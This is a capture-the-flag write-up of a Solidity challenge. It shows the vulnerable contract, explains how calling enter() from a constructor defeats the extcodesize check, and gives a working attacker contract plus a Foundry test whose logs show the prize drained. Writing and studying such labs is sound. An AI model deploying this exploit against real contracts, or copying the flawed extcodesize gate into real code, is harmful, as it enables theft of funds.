Skip to main content

Double_or_nothing

🚩 Challenge

You are given a smart contract DoubleOrNothing that holds 2 ETH as prize money. The goal is to:

  1. Call enter() and pass 3 logic gates.
  2. If successful, call win() to transfer the 2 ETH prize to yourself.

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract DoubleOrNothing {
address public winner;
bool public passed;

constructor() payable {
require(msg.value == 2 ether, "Seed with 2 ETH prize");
}

modifier gate1() {
require(msg.sender != tx.origin, "No EOAs allowed"); // Must be contract
_;
}

modifier gate2() {
require(msg.value == 1 ether, "Wrong amount"); // Must send 1 ETH
_;
}

modifier gate3() {
address sender = msg.sender;
uint256 size;
assembly {
size := extcodesize(sender)
}
require(size == 0, "Code size must be 0"); // No deployed code allowed
_;
}

function enter() external payable gate1 gate2 gate3 {
passed = true;
}

function win() external {
require(passed, "You haven't passed the gates");
winner = msg.sender;
payable(msg.sender).transfer(address(this).balance);
}

function getBalance() public view returns (uint256) {
return address(this).balance;
}
}

Vulnerability Explained

The enter() function has three "gates":

GateRequirementBypass Strategy
gate1Must be called by a contractUse a smart contract
gate2Must send exactly 1 ETHSend 1 ETH during deployment
gate3extcodesize(msg.sender) == 0Call from contract during constructor

During a contract’s constructor, extcodesize(this) returns 0 because the contract is not deployed yet. This is the loophole.


Attacker Contract

interface IDoubleOrNothing {
function enter() external payable;
}

contract Attacker {
DoubleOrNothing public d;

constructor(address target) payable {
require(msg.value == 1 ether, "Need to send 1 ETH");

// Call enter() during constructor
IDoubleOrNothing(target).enter{value: 1 ether}();

// Call win() after passing all gates
d = DoubleOrNothing(target);
d.win();
}

function KnowBalance() public view returns (uint256) {
return address(this).balance;
}

receive() external payable {}
}

Foundry Test Case

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {DoubleOrNothing, Attacker} from "../src/Counter.sol";

contract DoubleOrNothingTest is Test {
DoubleOrNothing public game;
Attacker public attackerContract;

address public deployer = address(0x1234);

function setUp() public {
vm.deal(deployer, 2 ether);
vm.prank(deployer);
game = new DoubleOrNothing{value: 2 ether}();

console.log("Game contract deployed at:", address(game));
console.log("Game initial balance:", address(game).balance);
}

function test_attackUsingConstructor() public {
vm.deal(address(this), 1 ether);

console.log("Deploying attacker contract...");
attackerContract = new Attacker{value: 1 ether}(address(game));

console.log("Attacker contract address:", address(attackerContract));
console.log("Game balance after attack:", address(game).balance);
console.log("Attacker contract balance:", address(attackerContract).balance);
console.log("Winner recorded in contract:", game.winner());

assertTrue(game.passed(), "Gates not passed");
assertEq(game.winner(), address(attackerContract), "Wrong winner");
assertEq(address(game).balance, 0, "Contract still holds ETH");
assertEq(address(attackerContract).balance, 3 ether, "Attacker didn't receive prize");
}
}

Test Output

forge test -vvv
[PASS] test_attackUsingConstructor() (gas: 225829)
Logs:
Game contract deployed at: 0xFa0F...
Game initial balance: 2000000000000000000
Deploying attacker contract...
Attacker contract address: 0x5615...
Game balance after attack: 0
Attacker contract balance: 3000000000000000000
Winner recorded in contract: 0x5615...

Suite result: ok. 1 passed; 0 failed; 0 skipped.

Summary

Status
Target ContractDeployed with 2 ETH
Exploit StrategyCall enter() in constructor
OutcomeAttacker wins and gets full 2 ETH
Bug TypeConstructor-time extcodesize bypass